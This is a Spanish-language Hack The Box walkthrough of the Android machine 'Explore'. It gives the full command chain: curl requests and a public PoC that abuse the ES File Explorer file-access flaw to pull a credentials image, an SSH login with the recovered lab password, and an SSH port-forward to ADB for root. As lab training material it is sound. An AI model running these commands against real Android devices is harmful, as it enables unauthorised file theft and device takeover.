Explore WriteUp

Hack The Box, Machine, Explore

Bienvenido al writeup de la máquina explore de la plataforma Hack The Box. Explore es una máquina Android de dificultad fácil.

Antes de empezar

Conectamos a la VPN de Hack The Box en segundo plano con TMUX

tmux new -s htb
sudo openvpn ~/.vpn/htb.ovpn

Añadimos la máquina al fichero /etc/hosts, comprobamos la conexión con ping y creamos las carpetas de trabajo

echo '10.10.10.247 explore.htb' >> /etc/hosts
ping -c 4 explore.htb
mkdir -p ~/htb/explorer.htb/{exploits,fuzz,http,nmap}

Reconocimiento

Comprobamos todos los puertos abiertos, detectamos el servicio y su versión con nmap

nmap -sC -sV -p- -T4 --min-rate=1000 -v -oA all explore.htb
Nmap scan report for explore.htb (10.10.10.247)
Host is up (0.048s latency).
Not shown: 65530 closed tcp ports (reset)
PORT      STATE    SERVICE VERSION
2222/tcp  open     ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey: 
|_  2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
5555/tcp  filtered freeciv
42135/tcp open     http    ES File Explorer Name Response httpd
|_http-title: Site doesn't have a title (text/html).
44347/tcp open     unknown
59777/tcp open     http    Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
|_http-title: Site doesn't have a title (text/plain).
Service Info: Device: phone

Explore WriteUp

Abrimos Firefox para inspeccionar el sitio web

firefox http://explore.htb:59777 &

Explore WriteUp

Nada interesante, sigamos buscando información.

En el puerto 42135 corre ES File Explorer, una vulnerabilidad pública cuyo PoC ya estaba probando en el Github de fs0c131y . También observamos que JSONAPI es un add-on de Bukkit que permite consumir una API, puede que estén relacionados.

Leyendo el README.md del repositorio, podemos generar un payload para probar la vulnerabilidad:

curl --header "Content-Type: application/json" --request POST --data '{"command":"getDeviceInfo"}' http://explore.htb:59777

Explore WriteUp

Explore WriteUp

Buscando ficheros interesantes, encontramos una imagen con las credenciales del usuario kriti en la ruta /storage/emulated/0/DCIM/creds.jpg:

curl --header "Content-Type: application/json" --request POST --data '{"command":"listPics"}' http://explore.htb:59777

Explore WriteUp

Para descargar creds.jpg usamos el siguiente comando:

python exploit_ESFileExplorer.py --get-file /storage/emulated/0/DCIM/creds.jpg --host explore.htb

Explore WriteUp

Explore WriteUp

Credenciales obtenidas:

kristi:Kr1sT!5h@Rp3xPl0r3!

Acceso Inicial

El servicio SSH corre en el puerto 2222. Nos conectamos con las credenciales y mostramos la flag user.txt:

ssh -p 2222 kristi@explore.htb
cat /sdcard/user.txt

Explore WriteUp

Escalada de Privilegios

Revisando las conexiones de red, observamos que el puerto 5555 está a la escucha. Este puerto es utilizado por defecto por ADB (Android Debug Bridge).

netstat -nlpt

Explore WriteUp

Hacemos un port forward mediante SSH y nos conectamos desde nuestra máquina:

ssh -p 2222 kristi@explore.htb -L 5555:localhost:5555

Usamos adb para obtener acceso root, localizar la flag y mostrarla:

adb -s localhost:5555 root
adb -s localhost:5555 shell
find / -name "root.txt" 2>/dev/null
cat /data/root.txt

Explore WriteUp

Explore WriteUp

Un saludo, nos vemos en el próximo challenge.